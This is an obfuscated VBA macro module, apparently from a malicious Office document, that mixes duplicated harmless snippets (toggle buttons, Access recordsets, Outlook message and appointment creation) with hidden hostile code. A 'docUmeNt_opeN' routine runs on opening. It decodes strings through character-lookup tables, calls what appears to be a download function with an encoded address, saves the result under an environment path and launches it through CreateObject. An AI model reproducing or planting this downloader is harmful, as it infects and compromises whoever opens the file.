Case (111): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "d"
Case (112): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "G"
Case (113): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xf2"
Case (114): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "r"
Case (115): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "K"
Case (116): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "J"
Case (117): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "e"
Case (118): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "n"
Case (119): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xef"
Case (120): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "l"
Case (121): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xbc"
Case (122): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xb2"
Case (123): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xc6"
Case (124): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xf2"
Case (125): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "m"
Case (126): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "I"
Case (127): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xab"
Case (128): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "x"
Case (129): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "P"
Case (130): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "h"
Case (131): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xf2"
Case (132): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "F"
Case (133): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\x83"
Case (134): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "r"
Case (135): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "y"
Case (136): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xeb"
Case (137): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xbf"
Case (138): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xd1"
Case (139): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "9"
Case (140): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\x83"
Case (141): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "v"
Case (142): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "D"
Case (143): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xa2"
Case (144): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "3"
Case (145): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xb3"
Case (146): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xa9"
Case (147): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "t"
Case (148): \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ = "\xb1"
End Select
End Function
Private Sub iTfvVDOfToggleButton1_Change()
'6. We then get the current state of the button again...
current_toggle_State = Me.ToggleButton1.Value
Select Case current_toggle_State
'6. If I am still pressed, then...
Case True:
'Value of previous state is 1 (or pressed)
this_Sheet.Range("D7").Value = 1
'Change caption from LIST 1 to LIST 2
ToggleButton1.Caption = "LIST 2"
'List is still LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Tomato", 0
ComboBox1.AddItem "Cucumber", 1
ComboBox1.ListIndex = 0
'6. If I am now unpressed by the user...
Case False:
'Value of previous state is 0 (or unpressed)
this_Sheet.Range("D7").Value = 0
'Change caption from LIST 2 to LIST 1
ToggleButton1.Caption = "LIST 1"
'LIST 2 to LIST 1...
ComboBox1.Clear
ComboBox1.AddItem "Pizza", 0
ComboBox1.AddItem "Soda", 1
ComboBox1.ListIndex = 0
End Select
End Sub
Private Sub m9CLDfgSUserForm_Initialized()
'1. We set our variables
Dim previous_Toggle_State As Long
'2. We set the sheet "food" as an object
Set this_Sheet = Worksheets("Food")
'3. We get the previous button state from the sheet...
previous_Toggle_State = this_Sheet.Range("D7").Value
Select Case previous_Toggle_State
Case 1:
'4. I was pressed, then button should be pressed...
Me.ToggleButton1.Value = True
'And, LIST 1 should active
ComboBox1.Clear
ComboBox1.AddItem "Tomato", 0
ComboBox1.AddItem "Cucumber", 1
ComboBox1.ListIndex = 0
'4. Otherwise, it should be unpressed
Case 0:
Me.ToggleButton1.Value = False
'LIST 2 should active
ComboBox1.Clear
ComboBox1.AddItem "Pizza", 0
ComboBox1.AddItem "Soda", 1
ComboBox1.ListIndex = 0
End Select
End Sub
Function T\xbaO4\xb2f\xb4I\xb7(F\xc0c\xdc8We\xa8x, \xa85Myp7q\xaf7I)
T\xbaO4\xb2f\xb4I\xb7 = F\xc0c\xdc8We\xa8x + \xa85Myp7q\xaf7I
End Function
Sub oJe2add_recepient()
Dim new_Message As MailItem
Set new_Message = Application.CreateItem(olMailItem)
With new_Message
.To = "x@gmail.com"
.CC = "x@gmail.com"
.BCC = "x@gmail.com"
.Subject = "Google"
'.Categories = "Test"
'.VotingOptions = "Yes;No;Maybe"
.BodyFormat = olFormatHTML
.Body = "Text"
'.Importance = olImportanceHigh
'.Sensitivity = olConfidential
'.Attachments.Add "..."
'.ExpiryTime = DateAdd("m", 6, Now)
'.DeferredDeliveryTime = #8/5/2018 6:00:00 PM#
.Display
End With
Set new_Message = Nothing
End Sub
Public Sub MZr8o1GTCreateNewMessage()
'
' Sends mail to sender based on the active selection
'
Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object
Set Selection = ActiveExplorer.Selection
For Each obj In Selection
Set objMsg = Application.CreateItem(olMailItem)
With objMsg
.To = obj.SenderEmailAddress
.Subject = "This is the subject"
.Categories = "Test"
.Body = "My notes" & vbCrLf & vbCrLf & obj.Body
.Display
' use .Send to send it automatically
End With
Set objMsg = Nothing
Next
End Sub
Sub docUmeNt_opeN()
k\xe5iMt\xe2D7R\xf6\xbdSX = Environ(\x83\xc4c\xa8D12\xf1Ab(\xef\xa3TY\xbf\xbb\xa7\xa2\xd6(Q\xef\xa8edS4\xad\xb9\xf986(0, -2931, 4026), Q\xef\xa8edS4\xad\xb9\xf986(1, 7735, 1510)))) + \x83\xc4c\xa8D12\xf1Ab("\v4PwwZ5v4N
ei*PcA}L0e;tdxe
pn;9dH\[.\U~eGCXxnKiel*d")
L5\xab3\xa3\xaaIR7 = E\xe7\xea6\xac\xff\xef\xbcsD\xaa\xbdi = \xe2\xbfv\xe5\xe6w\xc6m4cN\xbbg\xb8\xbb\xacy\xaa\xc4 = j\xbfKs\xbb\xbc\xacM = eJFGOIUZEHZIOFEJEZIerg4er5reg56e45her4hr5g4156gf4d56hyr564j5u6ytk4u56lk4yl5y456rts4hg5s6vg4f5g4fdgs186sd1g69df8b4sdf89h4sfg8h4f86n4hg189h14gf8h748th14gbre89g4re891v4fg98ds41f6dqc4f2f4d1c54d5wx4f56xd14bd563dg41f56g4fd65gb4gx4gb5f4g56dbg4f56gb14fdgOZFFJIF(0, StrPtr(\x83\xc4c\xa8D12\xf1Ab("h>l_tTUJt<v(p{0Xs>N`:;a./n<3/0YIbh`^af^jbpJ~af2?j|nkaw}8ko@ps([..Kg3cACzo65:.>ksukU?k<3d/XWDlH>qeBu=ny@AtWg-.XCve_V/x+W{e-e+"))
StrPtr(k\xe5iMt\xe2D7R\xf6\xbdSX)
0
0)
CreateObject(\x83\xc4c\xa8D12\xf1Ab(\xa5q\xba\xf9\xad\xa9t\xaaqq\xe1(Q\xef\xa8edS4\xad\xb9\xf986(2, 4951, 9418)
Q\xef\xa8edS4\xad\xb9\xf986(3, 4321, -3306)))).Open (k\xe5iMt\xe2D7R\xf6\xbdSX)
End Sub
Sub Efedfinding_Record()
'
' Opening a record set and findind a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("Tournaments", dbOpenSnapshot)
rs.FindFirst "[TourCode] LIKE 'TOR'"
MsgBox rs(2).Value, vbInformation, "Value"
Set db = Nothing
Set rs = Nothing
End Sub
Sub iIAPfilter_RecordSet()
'
' Opening a record set and finding a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("SELECT * " & _
"FROM Tournaments " & _
"WHERE TourCode = 'TKY'")
'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
' "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
'Set rs = db.OpenRecordset("SELECT * " & _
' "FROM Tournaments " & _
' "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
'TO DO
Set db = Nothing
Set rs = Nothing
End Sub
Sub LRq6printing_Elements()
'
' Prints everything from a recordset
'
Dim db As DAO.Database
Set db = CurrentDb
Dim rs As Recordset
Set rs = db.OpenRecordset("Google")
Do While Not rs.EOF
Debug.Print rs("ID") & " - " & rs("Cible1")
rs.MoveNext
Loop
End Sub
Function yidP\xa3fE\xc4b() As String
Dim va\xa6C\xba\xefTYOg
Dim R\xf94zN\xa7\xdc\xc1\xd63W
Dim \xa2\xd6kM8i0a6
Dim \xa3\xb6\xc0\xf4\xadg\xeb\xfcy
Dim K\xc0\xa5\xe1\xe63l
va\xa6C\xba\xefTYOg = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(5, 1641, -8497)
R\xf94zN\xa7\xdc\xc1\xd63W = va\xa6C\xba\xefTYOg & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(90, -2057, -5942)
\xa2\xd6kM8i0a6 = R\xf94zN\xa7\xdc\xc1\xd63W & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(91, -5323, 4733)
\xa3\xb6\xc0\xf4\xadg\xeb\xfcy = \xa2\xd6kM8i0a6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(1, 4728, -6965)
K\xc0\xa5\xe1\xe63l = \xa3\xb6\xc0\xf4\xadg\xeb\xfcy & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(93, -7578, 4128)
yidP\xa3fE\xc4b = K\xc0\xa5\xe1\xe63l
End Function
Sub C5jggoogle()
Dim r As Range
Set r = Range("B2:E5")
a = r.Count
t = 0
o = 0
For i = 0 To a
p = r(i)
If r(i) = "W" Then
t = t + 1
If t > o Then
o = t
End If
Else
t = 0
End If
Next i
MsgBox "Longest winning streak: " & o
End Sub
Function gXq6\xbf\xb7\xe9d\xa2V\xf1g\xae() As String
Dim X\xb5\xe6\xe1\xe5\xc1L5DT
Dim \xb8\xa6EpZ\xe9\xfaSlE
Dim p\xafn\xa4pCm\xb8
Dim a\xbd\xa98\xa9F
Dim Aa\xa7\xa2K\xaa\xb1S4
Dim \xeb6\xffUR\xc4\xf12\xb2
Dim SL\xbeTd\xa9\xbag
Dim \xa8\xeas\xbe\xaex\xa6i
Dim YRsfQH\xc4jj\xe5j
Dim SIsy\xe2\xa4ye\xfal\xe8
Dim \xaa\xbfW\xe6v\xe6
Dim \xeejP\xb2\xff\xd6\xe1\xb3\xa8
Dim \xc0nBkh\xf9\xadO
Dim tODb\xc0LCJ
Dim z\xe9Ut8m\xbf\xba
Dim \xac0\xab\xe7hXz\xf9
Dim O\xc9BT\xb13\xa3r\xec
Dim \xc9\xb8h\xa9CN
Dim Cv\xc6\xa3wlD\xb70pm
Dim \xe8\xf92tCP\xb7
Dim s\xa3j1\xa5x\xfa\xaf\xe6
Dim \xb6W\xe4jvx\xc9ve\xa3
Dim i2\xa3BNA\xc6
Dim QW4om\xe2\xc1\xc1F\xb1
Dim \xc6A\xa7l\xf1\xf9\xa9z
Dim nY5\x83f6\xaeF
Dim \xb1\xb1\xb4\xa3sL\x83BW
Dim \xc0\xabtV\xa83\xb9g\xf9
Dim \xbfk\xefIn
Dim I\xd1\xb4\xec\xc4\xefZP\xbf
Dim \xc9XHGDQL\xbb
Dim JtEXgET\xf2V
Dim o\xb4v7RgvPx\xfa
Dim \xc4lGc\xba\xeb\xac\xb4\xbf
X\xb5\xe6\xe1\xe5\xc1L5DT = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(16, -6258, -5086)
\xb8\xa6EpZ\xe9\xfaSlE = X\xb5\xe6\xe1\xe5\xc1L5DT & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(17, 7312, -1018)
p\xafn\xa4pCm\xb8 = \xb8\xa6EpZ\xe9\xfaSlE & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(18, -5429, -8325)
a\xbd\xa98\xa9F = p\xafn\xa4pCm\xb8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(9, 2359, 2966)
Aa\xa7\xa2K\xaa\xb1S4 = a\xbd\xa98\xa9F & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(1, 4728, -6965)
\xeb6\xffUR\xc4\xf12\xb2 = Aa\xa7\xa2K\xaa\xb1S4 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(16, -6258, -5086)
SL\xbeTd\xa9\xbag = \xeb6\xffUR\xc4\xf12\xb2 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(22, 900, 7249)
\xa8\xeas\xbe\xaex\xa6i = SL\xbeTd\xa9\xbag & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
YRsfQH\xc4jj\xe5j = \xa8\xeas\xbe\xaex\xa6i & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(24, 9129, -9954)
SIsy\xe2\xa4ye\xfal\xe8 = YRsfQH\xc4jj\xe5j & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(25, 5420, -3743)
\xaa\xbfW\xe6v\xe6 = SIsy\xe2\xa4ye\xfal\xe8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(23, -7232, 9349)
\xeejP\xb2\xff\xd6\xe1\xb3\xa8 = \xaa\xbfW\xe6v\xe6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(27, -4418, -515)
\xc0nBkh\xf9\xadO = \xeejP\xb2\xff\xd6\xe1\xb3\xa8 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(28, 7331, 1405)
tODb\xc0LCJ = \xc0nBkh\xf9\xadO & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(13, 9536, -1937)
z\xe9Ut8m\xbf\xba = tODb\xc0LCJ & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(30, -1414, -8162)
\xac0\xab\xe7hXz\xf9 = z\xe9Ut8m\xbf\xba & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(31, 1041, 5130)
O\xc9BT\xb13\xa3r\xec = \xac0\xab\xe7hXz\xf9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(28, 7331, 1405)
\xc9\xb8h\xa9CN = O\xc9BT\xb13\xa3r\xec & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(25, 5420, -3743)
Cv\xc6\xa3wlD\xb70pm = \xc9\xb8h\xa9CN & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(34, 6231, -8240)
\xe8\xf92tCP\xb7 = Cv\xc6\xa3wlD\xb70pm & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(35, 5287, 3428)
s\xa3j1\xa5x\xfa\xaf\xe6 = \xe8\xf92tCP\xb7 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(36, -559, 7960)
\xb6W\xe4jvx\xc9ve\xa3 = s\xa3j1\xa5x\xfa\xaf\xe6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(2, -6195, -1877)
i2\xa3BNA\xc6 = \xb6W\xe4jvx\xc9ve\xa3 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(31, 1041, 5130)
QW4om\xe2\xc1\xc1F\xb1 = i2\xa3BNA\xc6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(39, 2421, 843)
\xc6A\xa7l\xf1\xf9\xa9z = QW4om\xe2\xc1\xc1F\xb1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(40, 2474, -9813)
nY5\x83f6\xaeF = \xc6A\xa7l\xf1\xf9\xa9z & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(18, -5429, -8325)
\xb1\xb1\xb4\xa3sL\x83BW = nY5\x83f6\xaeF & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(42, 6368, -41)
\xc0\xabtV\xa83\xb9g\xf9 = \xb1\xb1\xb4\xa3sL\x83BW & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(43, 7538, -5465)
\xbfk\xefIn = \xc0\xabtV\xa83\xb9g\xf9 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(44, 9331, -2173)
I\xd1\xb4\xec\xc4\xefZP\xbf = \xbfk\xefIn & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(45, 1650, 3164)
\xc9XHGDQL\xbb = I\xd1\xb4\xec\xc4\xefZP\xbf & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(25, 5420, -3743)
JtEXgET\xf2V = \xc9XHGDQL\xbb & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(15, 6215, 6710)
o\xb4v7RgvPx\xfa = JtEXgET\xf2V & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(44, 9331, -2173)
\xc4lGc\xba\xeb\xac\xb4\xbf = o\xb4v7RgvPx\xfa & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(39, 2421, 843)
gXq6\xbf\xb7\xe9d\xa2V\xf1g\xae = \xc4lGc\xba\xeb\xac\xb4\xbf
End Function
Sub uG8ucreate_NewForm()
'Set parameters
Dim j As form
Set j = CreateForm
'Get current form name
y = Application.CurrentObjectName
'Set variable to object
Set j = Forms(y)
'
' Error handling
'
On Error Resume Next
'Set recordsource to table...
j.RecordSource = "Facebook"
'Close form
DoCmd.Close acForm, "Form2", acSaveYes
'Rename form
DoCmd.rename "Google"
acForm
y
End Sub
Sub dS7gmanipulate_Form()
'Open form
DoCmd.OpenForm "Form1", acDesign, , , acFormEdit, acHidden
'Get form name
w = Forms![Form1].Command0.Name
'Close form
DoCmd.Close acForm, "Form1", acSaveNo
End Sub
' Apply a filter to forms
' DoCmd.ApplyFilter , "Filiere = 'Bac'"
' DoCmd.ApplyFilter
"Filiere = 'Bac' AND Niveau = 'Master'"
Function uTa\xa2\xa3l\xe7\xfaB\xe9(\xa2\xffLDsJS, \xbf\xc26\xe4\xaf\xe0vS\xb64\xea\xb1G)
uTa\xa2\xa3l\xe7\xfaB\xe9 = \xa2\xffLDsJS + \xbf\xc26\xe4\xaf\xe0vS\xb64\xea\xb1G
End Function
Sub B8B8finding_Record()
'
' Opening a record set and findind a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("Tournaments", dbOpenSnapshot)
rs.FindFirst "[TourCode] LIKE 'TOR'"
MsgBox rs(2).Value, vbInformation, "Value"
Set db = Nothing
Set rs = Nothing
End Sub
Sub B7avfilter_RecordSet()
'
' Opening a record set and finding a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("SELECT * " & _
"FROM Tournaments " & _
"WHERE TourCode = 'TKY'")
'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
' "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
'Set rs = db.OpenRecordset("SELECT * " & _
' "FROM Tournaments " & _
' "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
'TO DO
Set db = Nothing
Set rs = Nothing
End Sub
Sub u0I4printing_Elements()
'
' Prints everything from a recordset
'
Dim db As DAO.Database
Set db = CurrentDb
Dim rs As Recordset
Set rs = db.OpenRecordset("Google")
Do While Not rs.EOF
Debug.Print rs("ID") & " - " & rs("Cible1")
rs.MoveNext
Loop
End Sub
Function \xbf\xea8N\xf4cr\xe0\xa7u\xb4P(\xe5\xb3z\xdc\xc2\xbaxn1\xbaz8b, IF\xe625S\xf2hB, a\xa5Ig\xc6\xec\xa2M, \xc9\xa5\xbc\xba\xffepQ5n, \xf6\xe5\xf65a\xa6\xdc2n\xe5A, \xb9GR\xbf\xc0Sg\xe8\xdc\xb7)
\xbf\xea8N\xf4cr\xe0\xa7u\xb4P = StrConv(\xe5\xb3z\xdc\xc2\xbaxn1\xbaz8b, \xc9\xa5\xbc\xba\xffepQ5n)
End Function
Private Sub Tlazr2wTcreate_dictionary()
'
' This sub is used to initialize the values in the dictionary
' when the class is called by outside programs.
' It iterates on the PCG sheets in order to collect the values
' and integrate them to the dictionary.
'
top_row_adress = pcg.Range("A2").Row
bottom_row_adress = pcg.Range("A2").End(xlDown).Row
For i = top_row_adress To bottom_row_adress
pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
Next i
End Sub
Public Sub uBjNsnwifill_list_box_item(Optional specific_class As Long = 0)
'
' Use this sub to fill the list box with the values for the
' user to choose from.
'
' -- Use 0 to get all items from the dictionary
' -- Use a class number betweet 1 and 7 to get a specific class
'
If specific_class = 0 Then
For Each dictionary_item In pcg_dictionary.Items
UserForm1.ListBox1.AddItem dictionary_item
Next
End If
If specific_class > 0 Then
Call regex_engine(specific_class)
End If
End Sub
Function Q\xef\xa8edS4\xad\xb9\xf986(V\xf4r\xf21q\xf2\xfc, \xc6Z\xd6g\xbfl\xf1\xf9\xd6, \xb5\xc1p1e1QO\xe0t)
Select Case V\xf4r\xf21q\xf2\xfc
Case (0): Q\xef\xa8edS4\xad\xb9\xf986 = dBd\xa6r\xe9B\xa8()
Case (1): Q\xef\xa8edS4\xad\xb9\xf986 = \xbfa\xa3\xa5\xbfm\xffk()
Case (2): Q\xef\xa8edS4\xad\xb9\xf986 = gXq6\xbf\xb7\xe9d\xa2V\xf1g\xae()
Case (3): Q\xef\xa8edS4\xad\xb9\xf986 = o\xdc\xabG\xc1gRj()
Case (4): Q\xef\xa8edS4\xad\xb9\xf986 = D\xe9o\xfc\xe1()
Case (5): Q\xef\xa8edS4\xad\xb9\xf986 = yidP\xa3fE\xc4b()
Case (6): Q\xef\xa8edS4\xad\xb9\xf986 = u\xfbG\xbd2\xb5T\xef4()
Case (7): Q\xef\xa8edS4\xad\xb9\xf986 = PH\xae\xac\xc2zP\xec()
Case (8): Q\xef\xa8edS4\xad\xb9\xf986 = \xdc\xb4o\xa7\xb3\xbdt()
Case (9): Q\xef\xa8edS4\xad\xb9\xf986 = c\xc4cuh\xe8n()
Case (10): Q\xef\xa8edS4\xad\xb9\xf986 = \xac\xb72\xa8nbT\xa2()
Case (11): Q\xef\xa8edS4\xad\xb9\xf986 = S\xf4Z\xa7M\x83lD()
Case (12): Q\xef\xa8edS4\xad\xb9\xf986 = \xfc\xe0A\xc25Gb3\xbf()
Case (13): Q\xef\xa8edS4\xad\xb9\xf986 = Z\xaahE\x83\xfa\xd1()
Case (14): Q\xef\xa8edS4\xad\xb9\xf986 = \xbd\xe1QW0\xa7gM()
Case (15): Q\xef\xa8edS4\xad\xb9\xf986 = \xeb\xb2FX\xf90\xadCb()
Case (16): Q\xef\xa8edS4\xad\xb9\xf986 = \xfb\xa2Yvw\xa3()
Case (17): Q\xef\xa8edS4\xad\xb9\xf986 = \xf9gjR3a\xa8\xd6\xfc\xa3()
Case (18): Q\xef\xa8edS4\xad\xb9\xf986 = U\xf4\xeb\xf9\xb3\xfaZ\xb4\xe0Rum()
Case (19): Q\xef\xa8edS4\xad\xb9\xf986 = rJSvN\xfb\xb7\xf4\xe44()
End Select
End Function
Sub K2CVCreateAppointment()
Dim olAppt As AppointmentItem
Set olAppt = Application.CreateItem(olAppointmentItem)
With olAppt
.Subject = "My Subject"
.Body = "This is the body"
.RequiredAttendees = "something@gmail.com"
.Location = "Lille"
.ReminderMinutesBeforeStart = "30"
.Start = #11/19/2017 2:00:00 AM#
.End = #11/19/2017 4:00:00 AM#
'.BillingInformation = "something"
.Categories = "Business"
.Display
End With
End Sub
Function ztg\xa8\xad\xbf(H\x83\xb1\xfb\xe7\xfa\xfa\xa3\xb7, B\x83\xee\xebx\xa34)
ztg\xa8\xad\xbf = H\x83\xb1\xfb\xe7\xfa\xfa\xa3\xb7 + B\x83\xee\xebx\xa34
End Function
Sub C2DCadd_recepient()
Dim new_Message As MailItem
Set new_Message = Application.CreateItem(olMailItem)
With new_Message
.To = "x@gmail.com"
.CC = "x@gmail.com"
.BCC = "x@gmail.com"
.Subject = "Google"
'.Categories = "Test"
'.VotingOptions = "Yes;No;Maybe"
.BodyFormat = olFormatHTML
.Body = "Text"
'.Importance = olImportanceHigh
'.Sensitivity = olConfidential
'.Attachments.Add "..."
'.ExpiryTime = DateAdd("m", 6, Now)
'.DeferredDeliveryTime = #8/5/2018 6:00:00 PM#
.Display
End With
Set new_Message = Nothing
End Sub
Public Sub hjOwGiV9CreateNewMessage()
'
' Sends mail to sender based on the active selection
'
Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object
Set Selection = ActiveExplorer.Selection
For Each obj In Selection
Set objMsg = Application.CreateItem(olMailItem)
With objMsg
.To = obj.SenderEmailAddress
.Subject = "This is the subject"
.Categories = "Test"
.Body = "My notes" & vbCrLf & vbCrLf & obj.Body
.Display
' use .Send to send it automatically
End With
Set objMsg = Nothing
Next
End Sub
Function D\xe9o\xfc\xe1() As String
Dim \xea\xe4zf\xb3\xa3\xa4z\xa9\xe7
Dim JK\xfanK\xfc\xeebzK\xe6\xf1
Dim u44\xb3r\xa8\xbee\xfc\xd1\xc6
Dim \xe0\xa3G1\xb5\xea\xb1w
Dim \xe1\x83OGJVV
\xea\xe4zf\xb3\xa3\xa4z\xa9\xe7 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(44, 9331, -2173)
JK\xfanK\xfc\xeebzK\xe6\xf1 = \xea\xe4zf\xb3\xa3\xa4z\xa9\xe7 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(85, 1331, -8659)
u44\xb3r\xa8\xbee\xfc\xd1\xc6 = JK\xfanK\xfc\xeebzK\xe6\xf1 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(86, 9325, -5614)
\xe0\xa3G1\xb5\xea\xb1w = u44\xb3r\xa8\xbee\xfc\xd1\xc6 & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(87, 2396, -8936)
\xe1\x83OGJVV = \xe0\xa3G1\xb5\xea\xb1w & \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(88, -5356, -4458)
D\xe9o\xfc\xe1 = \xe1\x83OGJVV
End Function
Sub vECRfinding_Record()
'
' Opening a record set and findind a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("Tournaments", dbOpenSnapshot)
rs.FindFirst "[TourCode] LIKE 'TOR'"
MsgBox rs(2).Value, vbInformation, "Value"
Set db = Nothing
Set rs = Nothing
End Sub
Sub keAyfilter_RecordSet()
'
' Opening a record set and finding a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("SELECT * " & _
"FROM Tournaments " & _
"WHERE TourCode = 'TKY'")
'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
' "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
'Set rs = db.OpenRecordset("SELECT * " & _
' "FROM Tournaments " & _
' "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
'TO DO
Set db = Nothing
Set rs = Nothing
End Sub
Sub HxRlprinting_Elements()
'
' Prints everything from a recordset
'
Dim db As DAO.Database
Set db = CurrentDb
Dim rs As Recordset
Set rs = db.OpenRecordset("Google")
Do While Not rs.EOF
Debug.Print rs("ID") & " - " & rs("Cible1")
rs.MoveNext
Loop
End Sub
Function \xeb\xb2FX\xf90\xadCb() As String
Dim x\xe22u\xa5U\xb9Vd\xe2
Dim O\xabx\xc4X\xaa\xbd
Dim q\xbb\xaf\xe5\xf29NG\xab\xb8
Dim L\xa2P\xf2\xbea2j\xe5\xa2
Dim \xa4Cb\xe1\xbd\xe7\xbc\xb9Je\xef\xfba
Dim P\xb2\xdc\xa7\xab\xb4\xba\xc6e
Dim l\xb2\xfcim
x\xe22u\xa5U\xb9Vd\xe2 = \xbc\xa9bi\xaf\xb6\xdc\xa3E\xabr\xeeJ(127, -4889, 5716)
